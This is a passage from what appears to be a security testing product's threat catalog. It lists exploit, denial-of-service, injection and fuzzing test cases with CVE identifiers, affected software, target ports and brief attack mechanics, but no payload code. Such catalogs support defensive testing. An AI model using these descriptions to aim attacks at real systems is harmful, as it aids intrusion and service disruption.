Detailed Description:	MS SQL Server 2000 employs UDP Port 1434 for foreign hosts to ping for connectivity. Sending a UDP packet with a specific payload to the port will result in the server responding with a ping reply. This threat may be executed by sending a flood of UDP packets from a falsified source or finding another vulnerable MS SQL Server and using it as the source causing the two servers to ping each other resulting in a denial of service. (IPv6 Version)
Protocol Type:	MSSQL/IPv6
CVEID:	CVE-2002-0650
OSVDB:	878
Threat Package:	Standard
Threat File Name:	TSL20141219-10_Network_Time_Protocol_Daemon_ctl_putdata_Buffer_Overflow.xml
Executive Description:	Network Time Protocol Daemon ctl_putdata Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in the Network Time Protocol daemon (NTPD). The vulnerability is due to insufficient checks on an input size prior to a copy operation in the ctl_putdata() function. A remote privileged attacker could exploit this vulnerability by sending a crafted NTP request to the vulnerable service. Successful exploitation could result in arbitrary code execution with the privilege level of the ntpd process. Tester should set variable \$destPort to 123 before test.
Protocol Type:	NTP
CVEID:	CVE-2014-9295
OSVDB:	116067
Threat File Name:	linux_natsnmp_dos.xml
Executive Description:	Linux Kernel SNMP NAT Helper Remote DoS
Detailed Description:	This threat sends a specially crafted snmp packet to trigger a denial of service condition in the SNMP NAT module of the Linux Kernel. The NAT SNMP module typically runs on udp ports 161 and 162.
Protocol Type:	SNMP
CVEID:	CVE-2006-2444
OSVDB:	25750
Threat Package:	Standard
Threat File Name:	ms03-039.xml
Executive Description:	MS03-039 RPCSS Exploit
Detailed Description:	This threat is an exploit against the MS03-039 problem in RPCSS. Microsoft DCOM typically listens on port 135.
Protocol Type:	DCOM
CVEID:	CVE-2003-0715
OSVDB:	11797
Threat Package:	Standard
Threat File Name:	kde_libkhtml_dos_IPv6.xml
Executive Description:	KDE 3.5 libkhtml <= 4.2.0 / Unhandled HTML Parse Exception (IPv6 Version)
Detailed Description:	This threat crashes any program using the libkhtml library via malformed HTML tags. Libkhtml is a library used by applications such as the Konqueror Web Browser and the Kmail Email client. This threat targets the Konqueror web browser that typically connects to web servers listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-6660
Threat Package:	Standard

Threat File Name:	phplistpro_cmi_a_IPv6.xml
Executive Description:	phpListPro config.php returnpath Variable Remote File Inclusion (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP GET query which is used to include an arbitrary php or html file by setting the returnpath global variable to include a remote file. phpListPro is a web based application with typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-1749
Threat Package:	Standard
Threat File Name:	TSL20160428-08_HPE_Data_Protector_EXEC_BAR_domain_Buffer_Overflow_IPv6.xml
Executive Description:	HPE Data Protector EXEC_BAR domain Buffer Overflow (IPv6 version)
Detailed Description:	A buffer overflow vulnerability has been found in the Omninet.exe component of HPE Data Protector. This vulnerability is due to lack of boundary checks on the domain field in EXEC_BAR requests. A remote, unauthenticated attacker could exploit this vulnerability by sending malformed requests to a HPE Data Protector service. Successful exploitation could lead to arbitrary code execution under the context of System.
Protocol Type:	HP Data Protector OmniInet Protocol, IPv6
CVEID:	CVE-2016-2006
Threat File Name:	TSL20120508-13_Microsoft_Excel_SXLI_Record_Parsing_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Excel SXLI Record Parsing Memory Corruption(IPv6 Version)
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Excel. The vulnerability is due to the way in which Excel processes SXLI records. A remote, unauthenticated attacker could exploit this vulnerability by enticing a target user to open a crafted Excel document. A successful exploitation attempt may result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2012-0184
OSVDB:	81725
Threat File Name:	fuzz-TFTP_RangingSizeOfData_FixedBlockNo_IPv6.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_RangingSizeOfData_FixedBlockNo.xml (IPv6 Version)
Detailed Description:	Fuzzes data field by putting random string with ranging sizes and fixed block Number. OpCode is 03 (IPv6 Version)
Protocol Type:	TFTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	phpmycon_rfi.xml
Executive Description:	PHPMyConference Menus.Inc.PHP Remote File Include Vulnerability
Detailed Description:	his threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. PhpMyConference Script is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-5310
OSVDB:	29730
Threat Package:	Standard
Threat File Name:	fuzz-TFTP_Filename_formats_WRQ_IPv6.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_Filename_formats_WRQ.xml (IPv6 Version)
Detailed Description:	Fuzzes Filename field by appending one or more of %s to the filename. OpCode is WRQ (IPv6 Version)
Protocol Type:	TFTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	ftgate_management_bof_IPv6.xml
Executive Description:	FTGate Management Buffer Overflow (IPv6 Version)
Detailed Description:	This threat sends a large variable value through an HTTP POST method that causes a buffer overflow in the FTGate mail suite. This can be used to execute code with the rights of the mail server application. This attack affects the built in web management server of FTGate, which typically listens on port 8089. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat File Name:	randomProtocol.xml
Executive Description:	Random IP Protocol Field
Detailed Description:	This threat sends IP packets with a random IP Protocol field value. The payload contains 4 ASCII A's.
Protocol Type:	IP
Threat Package:	Standard
Threat File Name:	wget_dos_IPv6.xml
Executive Description:	wget <= 1.10.2 (Unchecked Boundary Condition) Denial of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a malicious ftp server to send continuous 220 replies to consume all available resources of a computer using vulnerable wget clients. GNU Wget is a client application that connects to http and ftp servers listening on port 80 and 21 Respectively. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20161104-07_Memcached_process_bin_sasl_auth_Integer_Underflow_IPv6.xml
Executive Description:	Memcached process_bin_sasl_auth Integer Underflow (IPv6 Version)
Detailed Description:	An integer underflow vulnerability exists in memcached. This vulnerability is due to a lack of bounds checking in the process_bin_sasl_auth function while processing SASL authentication commands. A remote unauthenticated attacker can exploit these vulnerabilities by sending a specially crafted packet to memcached. This can lead to a buffer overflow and possible code execution in the context of the user. If code execution is unsuccessful, a denial of service condition may result.
Protocol Type:	Memcache, IPv6
CVEID:	CVE-2016-8706
Threat File Name:	FSC20081009-12_CA_ARCserve_Backup_DB_Engine_Denial_of_Service_IPv6.xml
Executive Description:	CA ARCserve Backup DB Engine Denial of Service (IPv6 Version)

Detailed Description:	There exists a denial of service vulnerability in CA BrightStor ARCserve Backup DB Engine. The vulnerability is due to insufficient memory initialization. A remote unauthenticated attacker may exploit this vulnerability by sending a crafted message to the target server. Successful attack could create a denial of service condition to the DBEng.exe service. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-2008-4399
Threat Package:	Standard
Threat File Name:	communicate_ldap_dos.xml
Executive Description:	CommuniGate Pro Server LDAP BER Decoding Malformed Input DoS
Detailed Description:	This threat sends a malformed LDAP packet causing the CommuniGate processes to crash. CommuniGate Pro is an internet gateway, this attack is against the LDAP feature, which typically listens on port 389.
Protocol Type:	LDAP
CVEID:	CVE-2006-0468
OSVDB:	22788
Threat File Name:	limbocms_sqli.xml
Executive Description:	Limbo CMS 1.0.4.2 (catid) Remote SQL Injection Exploit
Detailed Description:	This threat sends a crafted HTTP GET query containing an SQL query which is executed by the server via the "catid" parameter. LimboCMS is a web application with typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	pafiledb_cmi_IPv6.xml
Executive Description:	PAFileDB Pafiledb_Constants.PHP Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	his threat send a crafted HTTP query containing a path to an arbitrary file which is included by the server and executed via pafiledb_constants.php "module_root_path" parameter. Foing is a web based application with typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2361
OSVDB:	25507
Threat Package:	Standard
Threat File Name:	empty_option.xml
Executive Description:	Empty OPTIONS request
Detailed Description:	This threat sends an OPTION with no URI or HTTP version specified. Can cause certain web servers to crash.
Protocol Type:	HTTP
CVEID:	CVE-2004-2315
OSVDB:	19468
Threat Package:	Standard
Threat File Name:	TSL20110614-02_Microsoft_Office_Word_Remote_Code_Execution_IPv6.xml
Executive Description:	Microsoft Office Word Remote Code Execution(IPv6 Version)
Detailed Description:	A code execution vulnerability has been reported in Microsoft Office Word. The vulnerability is due to a memory corruption when parsing a specially crafted Word file. An attacker could possibly exploit this vulnerability to execute arbitrary code in the context of the current user by enticing them to open a specially crafted Word document. The vendor, Microsoft, has not yet released an advisory regarding this vulnerability. TELUS Security Labs has been unable to describe the exact triggering conditions with the contractual research period.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
Threat File Name:	FSC20070302-08_Apache_Tomcat_JK_Web_Server_Connector_Long_URL_Stack_Overflow.xml
Executive Description:	Apache Tomcat JK Web Server Connector Long URL Stack Overflow
Detailed Description:	There exists a stack overflow vulnerability in Apache Tomcat JK Web Server Connector. The vulnerability is due to a boundary error in URL handler of the affected module. A remote unauthenticated attacker can exploit this vulnerability by sending crafted requests to the target host. Successful exploitation would allow the attacker to execute arbitrary code on the vulnerable system with privileges of the running process, normally System. In a sophisticated attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the affected service, which is normally the System. In an attack case where code injection is not successful, the affected server will terminate and all established connections will also be terminated.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2007-0774
Threat Package:	Standard
Threat File Name:	dns_data_smuggling_IPv6.xml
Executive Description:	Sample of Data Smuggling and Arbitrary Command Execution Via DNS a Based Rootkit (IPv6 Version)
Detailed Description:	This threat simulates the use of a clandestine DNS channel using a custom DNS server and DNS recursion as a data transport, this data is a TLV structure which is base64 encoded swapping the "/" and "-" character to comply with various DNS RFCs (breaking various Base64 RFCs), in reply the rootkit is told to execute "ls -l /archive". This threat uses the DNS service which typically listens on port 53. (IPv6 Version)
Protocol Type:	DNS/IPv6
Threat Package:	Standard
Threat File Name:	hopenview_command.xml
Executive Description:	HP OpenView Remote Command Execution
Detailed Description:	This threat causes HP OpenView to execute an arbitrary command through the URL. This is done by specifying pipe passed in the variable node in URL. HP OpenView is a web application, and typically listens on port 3443.
Protocol Type:	Proprietary
CVEID:	CVE-2005-2773
OSVDB:	19057
Threat Package:	Standard
Threat File Name:	fuzz-HSRP_Group.xml
Executive Description:	Fuzzer for Protocol:HSRP and Field:Group
Detailed Description:	

Protocol Type:	HSRP
Threat Package:	Fuzzing
Threat File Name:	x86NOOPtcp2.xml
Executive Description:	TCP x86 NOOP Packet Variant 2
Detailed Description:	This threat sends a TCP packet that appears to be part of an existing valid connection with a NOOP sled in it. A NOOP sled is used by shellcode to insure that the injected code will execute. Unfortunately, there are many other reasons why a NOOP might appear in traffic. This threat utilized equivalent assembly instructions to the standard NOOP instruction.
Protocol Type:	TCP
Threat Package:	Standard
Threat File Name:	netvault_IPv6.xml
Executive Description:	BakBone NetVault Remote Heap Overflow Attack (IPv6 Version)
Detailed Description:	This threat attempts to cause a heap overflow to gain access to a computer running the NetVault backup utility. NetVault listens on port 20031. This threat assumes that the computer name is COMPUTERNAME, and the virtual server replies as such. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	Proprietary/IPv6
CVEID:	CVE-2005-1547
OSVDB:	16602
Threat Package:	Standard
Threat File Name:	FSC20060523-07_Linux_Kernel_SNMP_NAT_Netfilter_Memory_Corruption.xml
Executive Description:	Linux Kernel SNMP NAT Netfilter Memory Corruption
Detailed Description:	There exists a remote denial of service vulnerability in the Linux Kernel. The vulnerability occurs due to insufficient checks during the processing of SNMP packets by the netfilter module. By sending a crafted SNMP packet to a target host, an attacker may exploit this vulnerability to cause a double free error in the Linux Kernel; thus, creating a system wide denial of service condition.
Protocol Type:	SNMP
CVEID:	CVE-2006-2444
Threat Package:	Standard
Threat File Name:	TSL20131212-07_EMC_CMCNE_inmservlets_war_BootFileUploadMoreInfoServlet_Directory_Traversal.xml
Executive Description:	EMC CMCNE inmservlets.war BootFileUploadMoreInfoServlet Directory Traversal
Detailed Description:	A directory traversal vulnerability exists in EMC Connectrix Manager Converged Network Edition. The vulnerability is due to lack of authentication and insufficient input validation in the BootFileUploadMoreInfoServlet servlet of inmservlets.war when processing HTTP requests. A remote unauthenticated attacker can copy any files to arbitrary locations. In a successful attack scenario, the attacker can execute arbitrary code with SYSTEM privileges by placing executable files in critical locations.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-6810
OSVDB:	100899
Threat File Name:	TSL20120814-19_Adoe_Flash_Player_OpenType_Font_Parsing_Integer_Overflow.xml
Executive Description:	Adobe Flash Player OpenType Font Parsing Integer Overflow
Detailed Description:	A code execution vulnerability exists in Adobe Flash Player. The vulnerability is due to an integer overflow when parsing OpenType Font data embedded in an SWF file. The vulnerability could allow a remote attacker to inject and execute arbitrary code on the affected system. A remote attacker can exploit this vulnerability by enticing a user to download and view a malicious file. This vulnerability is being exploited in the wild in targeted attacks via a Flash (.swf) file embedded in a Microsoft Word (.doc) file delivered as an email attachment.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,NFS
CVEID:	CVE-2012-1535
OSVDB:	84607
Threat File Name:	fuzz-TFTP_RandstringFilename_WRQ_OCTET_IPv6.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_RandstringFilename_WRQ_OCTET.xml (IPv6 Version)
Detailed Description:	Fuzzes Filename field by putting random string with ranging sizes in the filename field. OpCode is WRQ and Mode is octet (IPv6 Version)
Protocol Type:	TFTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	TSL20131022-05_HP_Intelligent_Management_Center_BIMS_UploadServlet_Arbitrary_File_Upload.xml
Executive Description:	HP Intelligent Management Center BIMS UploadServlet Arbitrary File Upload
Detailed Description:	A code execution vulnerability exists in the Branch Intelligent Management Software (BIMS) module of Intelligent Management Center. The vulnerability is due to lack of authentication and insufficient input validation in the UploadServlet when processing HTTP requests. A remote unauthenticated attacker can upload arbitrary files to arbitrary locations. In a successful attack scenario, the attacker can execute arbitrary code with SYSTEM privileges by placing executable files in critical locations.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-4822
OSVDB:	98247
Threat File Name:	MS02-045_IPv6.xml
Executive Description:	SMBNuke Attack (IPv6 Version)
Detailed Description:	This threat causes a vulnerable Windows machine to crash by sending a malicious SMB request. This threat travels over the NetBIOS Session Service, which is typically port 139. (IPv6 Version)
Protocol Type:	NETBIOS_SS/IPv6
CVEID:	CVE-2002-0724
OSVDB:	2074
Threat Package:	Standard
Threat File Name:	FSC20070423-19_Apple_QuickTime_for_Java_toQTPointer_Function_Memory_Corruption.xml
Executive Description:	Apple QuickTime for Java toQTPointer Function Memory Corruption
Detailed Description:	There exists a memory corruption vulnerability in the QTJava component shipped with Apple QuickTime. The vulnerability is due to insufficient validation of the parameters passed to function toQTPointer. The flaw can be leveraged remotely to execute arbitrary code under the context of the currently logged in user.

Protocol Type:	HTTP
CVEID:	CVE-2007-2175
Threat Package:	Standard
Threat File Name:	wanewsletter_rfi.xml
Executive Description:	WANewsletter <= 2.1.3 Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted url string containing a path to an arbitrary script file which is included by the server and executed. WANewsletter is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20080128-01_Firebird_Database_Server_Username_Handling_Buffer_Overflow.xml
Executive Description:	Firebird Database Server Username Handling Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in Firebird database server product. The flaw is due to a boundary error when handling overly long username string in received messages. A remote unauthenticated attacker may exploit this vulnerability by sending crafted messages to the target server. Successful attack may allow for arbitrary code injection and execution with privileges of the affected service.
Protocol Type:	GDSDB
CVEID:	CVE-2008-0467
Threat Package:	Standard
Threat File Name:	ftgate_management_bof.xml
Executive Description:	FTGate Management Buffer Overflow
Detailed Description:	This threat sends a large variable value through an HTTP POST method that causes a buffer overflow in the FTGate mail suite. This can be used to execute code with the rights of the mail server application. This attack affects the built in web management server of FTGate, which typically listens on port 8089.
Protocol Type:	HTTP
Threat File Name:	FSC20040712-01_Microsoft_Outlook_-_Word_Object_Tag_Vulnerability_IPv6.xml
Executive Description:	Microsoft Outlook - Word Object Tag Vulnerability (IPv6 Version)
Detailed Description:	There is a vulnerability in Microsoft Outlook when Microsoft Word is enabled in Outlook as the default editor for email messages. The vulnerability exists in the handling of object tags, and can be triggered remotely when a user replies or forwards a maliciously crafted email message. This vulnerability could bypass Outlook's "Restricted Zone" security setting and enable arbitrary access to remote resources. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-2482
Threat Package:	Standard
Threat File Name:	phpraid_XSS.xml
Executive Description:	PHPraid View.php Cross-Site Scripting Vulnerability
Detailed Description:	This threat attempts to cause a cross site scripting condition through the View.php function call. By exploiting this XSS vulnerability an attacker can steal session and cookie authentication details. PHPraid is a web application, and typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-2283
Threat Package:	Standard
Threat File Name:	FSC20090310-02_IBM_Tivoli_Storage_Manager_Express_Backup_Heap_Corruption_IPv6.xml
Executive Description:	IBM Tivoli Storage Manager Express Backup Heap Corruption (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in IBM Tivoli Storage Manager. This vulnerability is due to a lack of validation of a user supplied value in a message. This value is later used as a counter to populate a fixed length heap buffer. A remote unauthenticated attacker may leverage this vulnerability to create a denial of service condition of the affected service, or inject and execute arbitrary code on the target host. In an attack case where code injection is not successful, the target IBM Tivoli Express Backup Server service will terminate. In a more sophisticated attack where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute with SYSTEM level privileges. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-2008-4563
Threat Package:	Standard
Threat File Name:	FSC20041021-01_Microsoft_Windows_Graphics_Rendering_Engine_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Windows Graphics Rendering Engine Buffer Overflow (IPv6 Version)
Detailed Description:	A vulnerability exists in the Microsoft Windows Graphics Rendering Engine. The vulnerability exists in the routines that handle the parsing of the Windows Metafile (WMF) and Enhanced Metafile (EMF) image formats. An attacker leveraging this vulnerability could execute arbitrary code on the target system with privileges of currently logged in user. Testing has shown that the vendor released patches do not fully correct this vulnerability. Please refer to section 12.1 "Open Questions to Resolve" for more information. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-0209
Threat Package:	Standard
Threat File Name:	hivemail_xss_IPv6.xml
Executive Description:	HiveMail XSS Vulnerability (IPv6 Version)
Detailed Description:	This threat is an example of a cross-site scripting attack where the code is injected via the HiveMail index.php. HiveMail is a web based application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0758
Threat File Name:	sipoptionsscan.xml
Executive Description:	SIP OPTIONS Scan
Detailed Description:	This threat sends out a SIP OPTIONS message looking for a response. By sweeping these messages over a block of addresses, an attacker can learn about the setup of a VoIP network.
Protocol Type:	SIP
Threat Package:	VoIP

Threat File Name:	FSC20080909-05_Microsoft_Windows_Media_Encoder_9_ActiveX_Control_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Windows Media Encoder 9 ActiveX Control Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a stack buffer overflow in Microsoft Windows Media Encoder product. The vulnerability is due to a boundary error while handling an overly large parameter passed to a function exposed by an ActiveX control of WMEX.DLL library. A remote attacker could exploit the vulnerability by enticing the target user to visit a malicious web page. Successful exploitation would cause a stack-based buffer overflow that may lead to arbitrary code execution in the security context of the logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-3008
Threat Package:	Standard
Threat File Name:	osprey_rfi_IPv6.xml
Executive Description:	Osprey GetRecord.PHP Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Osprey is a web application that typically listens on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20170314-41_Microsoft_Windows_SMB_Server_SMBv1_CVE-2017-0143_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Windows SMB Server SMBv1 CVE-2017-0143 Memory Corruption (IPv6 Version)
Detailed Description:	A remote code execution vulnerability has been reported in the SMBv1 component of Microsoft Windows SMB server. The vulnerability is due to improper handling of SMBv1 requests. A remote, unauthenticated attacker could exploit this vulnerability by sending crafted SMBv1 messages to a target server. Successful exploitation could result in remote code execution.
Protocol Type:	SMB/CIFS,IPv6
CVEID:	CVE-2017-0143
Threat File Name:	calogic_calander_cmi.xml
Executive Description:	CaLogic Calendars 1.2.2 Remote File Inclusion
Detailed Description:	This threat send a crafted HTTP query containing a local or remote path to a file which is included into the PHP source via reconfig.php's \$_GLOBAL parameter. CaLogic Calendars is a web based application which typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	Firefox_Queryinterfaces.xml
Executive Description:	Firefox QueryInterfaces Exploit
Detailed Description:	This threat causes a memory corruption vulnerability that allows an attacker to execute arbitrary code on the victim's web browser. This attack typically would come from a malicious web server, which would be listening on port 80. This is a client attack that affects the browser.
Protocol Type:	HTTP
CVEID:	CVE-2006-0295
OSVDB:	22893
Threat Package:	Standard
Threat File Name:	FSC20101104-06_Adobe_Reader_printSeps_Memory_Corruption.xml
Executive Description:	Adobe Reader printSeps Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Adobe Acrobat and Reader products. The vulnerability is due to a design error when parsing PDF files containing a JavaScript call to the Doc.printSeps method. Remote attackers could exploit this vulnerability by enticing target users to open the malicious PDF document in a vulnerable version of Adobe Reader. Successful exploitation would allow for arbitrary code injection and execution with the privileges of the currently logged in user. If code execution is failed, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2010-4091
Threat File Name:	putty_bof.xml
Executive Description:	PuTTY.exe 0.53 Buffer Overflow
Detailed Description:	
Protocol Type:	SSH
CVEID:	CVE-2002-1359
Threat Package:	Standard
Threat File Name:	gnugv_psfile_bof_IPv6.xml
Executive Description:	GNU GV Stack Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a malicious postscript file to leverage a flaw in the 'ps_gettext()' function resulting in a buffer overflow condition. GNU GV is a PostScript and PDF viewer and the malicious file can be retrieved from a web server listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-5864
Threat Package:	Standard
Threat File Name:	MaxDBHTTP_IPv6.xml
Executive Description:	MySQL MaxDB HTTP Buffer Overflow (IPv6 Version)
Detailed Description:	This threat causes a buffer overflow in the processing of a GET request. This can allow an attacker to cause a crash or overwrite structures in the program allowing code execution. This application uses the HTTP protocol, which typically travels over port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-0684
OSVDB:	15816
Threat Package:	Standard
Threat File Name:	ultimatefunbook_rfi_IPv6.xml
Executive Description:	Ultimate Fun Book 1.02 (function.php) Remote File Include Vulnerability (IPv6 Version)

Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Ultimate Fun Book is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-1059
Threat Package:	Standard
Threat File Name:	TSL20141231-02_ManageEngine_Desktop_Central_Dcpluginservelet_Policy_Bypass.xml
Executive Description:	ManageEngine Desktop Central Dcpluginservelet Policy Bypass
Detailed Description:	A policy bypass vulnerability exists in ManageEngine Desktop Central. The vulnerability is due to lack of authentication and insufficient input validation of the parameters sent to the Dcpluginservelet page when processing HTTP(S) requests. A remote unauthenticated attacker can exploit this vulnerability by sending an specially crafted request to the target server. In a successful attack scenario, the attacker can create an administrator account. Tester should set variable \$destPort to 8020 or 8383 before test.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2014-7862
OSVDB:	116554
Threat File Name:	TSL20170112-10_ISC_BIND_ANY_Query_Response_Assertion_Failure_Denial_of_Service_IPv6.xml
Executive Description:	ISC BIND ANY Query Response Assertion Failure Denial of Service (IPv6 Version)
Detailed Description:	A denial-of-service vulnerability has been reported in ISC BIND. The vulnerability is due to a defect that can cause named service to exit with an assertion failure while processing a crafted DNS response packet for an ANY query. A remote, unauthenticated attacker could exploit this vulnerability by providing a specially crafted response to the vulnerable server. Successful exploitation could lead to denial-of-service condition.
Protocol Type:	DNS, IPv6
CVEID:	CVE-2016-9131
Threat File Name:	TSL20170314-35_Microsoft_Internet_Explorer_CStr_Use_After_Free.xml
Executive Description:	Microsoft Internet Explorer CStr Use After Free
Detailed Description:	A use-after-free vulnerability has been reported in Microsoft Internet Explorer. These vulnerabilities are due to improper objects access in memory. A remote attacker can exploit these vulnerabilities by enticing the victim to open a maliciously crafted web page. Successful exploitation would allow the attacker to gain sensitive information.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2017-0059
Threat File Name:	TSL20121109-07_VMware_OVF_Tool_Format_String_Vulnerability_IPv6.xml
Executive Description:	VMware OVF Tool Format String Vulnerability(IPV6 Version)
Detailed Description:	A format string vulnerability has been reported in VMware OVF Tool. The vulnerability is caused by insufficient sanitization when processing OVF files. By enticing a target user to open a crafted OVF file, a remote attacker can exploit this vulnerability to execute arbitrary code in the security context of the current user.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2012-3569
OSVDB:	87117
Threat File Name:	FSC20091208-11_Microsoft_Internet_Explorer_Uninitialized_DOM_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer Uninitialized DOM Memory Corruption
Detailed Description:	A vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to a memory corruption that can occur when Internet Explorer handles uninitialized DOM. Remote attackers can exploit this vulnerability by enticing target users to visit a malicious web page. Successful exploitation could result in execution of arbitrary code on the vulnerable system in the context of the logged-on user. In case of successful attack the behaviour of the target machine is dependent on the intention of the malicious code. In case of an unsuccessful attack, the associated browser tab may terminate abnormally and then the browser will recover it.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-3674
Threat Package:	Standard
Threat File Name:	TSL20130506-14_ClamAV_Encrypted_PDF_File_Handling_Memory_Access_Error.xml
Executive Description:	ClamAV Encrypted PDF File Handling Memory Access Error
Detailed Description:	A memory access error exists in ClamAV antivirus. The vulnerability is due to a PDF key length computation error in "pdf.c" while parsing crafted encrypted PDF files. A remote attacker could exploit this vulnerability by causing ClamAV to process a specially crafted PDF file. Successful exploitation would terminate the clamd service resulting in a denial of service condition.
Protocol Type:	HTTP,HTTPS,SMTP,IMAP,POP3,SMB/CIFS,NFS
CVEID:	CVE-2013-2021
OSVDB:	92835
Threat File Name:	vicftps_cwd_bof.xml
Executive Description:	VicFTPs Server CWD Remote Buffer Overflow Vulnerability
Detailed Description:	This threat uses a large CWD command string to cause a denial of service condition or execute code via stack overflow. VicFTPS server listens on port 21.
Protocol Type:	FTP
Threat Package:	Standard
Threat File Name:	efiction_xss_b.xml
Executive Description:	eFiction XSS and SQL Insertion
Detailed Description:	This threat sends a crafted URL that contains Javascript which is included in the returned page, as well as an SQL statement that is executed by the server. eFiction is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-4168
OSVDB:	21120
Threat File Name:	logicsftunix.xml
Executive Description:	Logics Software LOG-FT Unix Arbitrary File Disclosure

Detailed Description:	This threat sends a specially crafted HTTP request that triggers an access validation error. Because of this error, LOG-FT will allow the attacker to read any file on the webserver in the user context of the sever. LOG-FT is a web application and is accessed via a web server, which typically listens on TCP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-1002
Threat Package:	Standard
Threat File Name:	TSL20130312-13_Microsoft_Internet_Explorer_removeChild_Use_After_Free.xml
Executive Description:	Microsoft Internet Explorer removeChild Use After Free
Detailed Description:	A code execution vulnerability exists in Microsoft Internet Explorer. The vulnerability is caused by a Use-After-Free error when running script code calling the removeChild method. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-0094
OSVDB:	91145
Threat File Name:	TSL20130910-14_Microsoft_Access_CVE-2013-3156_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Access CVE-2013-3156 Memory Corruption(IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Microsoft Access. The vulnerability is due to a memory corruption error in the way that Microsoft Access parses ACCDB files. By enticing a target user to open a crafted Access file, an attacker can exploit this vulnerability to execute arbitrary code with the privileges of the logged on user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,IPv6
CVEID:	CVE-2013-3156
OSVDB:	97111
Threat File Name:	nokia_snmp_IPv6.xml
Executive Description:	Nokia SNMP Disclosure of Information (IPv6 Version)
Detailed Description:	This threat sends an SNMP request with the community string of tellmeyoursecrets. However, the flaw is that certain versions of the Nokia SGSN will respond to SNMP requests regardless of the community string specified allowing an attacker to read or set SNMP variables without knowing the community string. (IPv6 Version)
Protocol Type:	SNMP/IPv6
CVEID:	CVE-2003-0137
Threat Package:	Standard
Threat File Name:	FSC20090414-08_Microsoft_Internet_Explorer_History.go_Method_Double_Free_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer History.go Method Double Free Memory Corruption
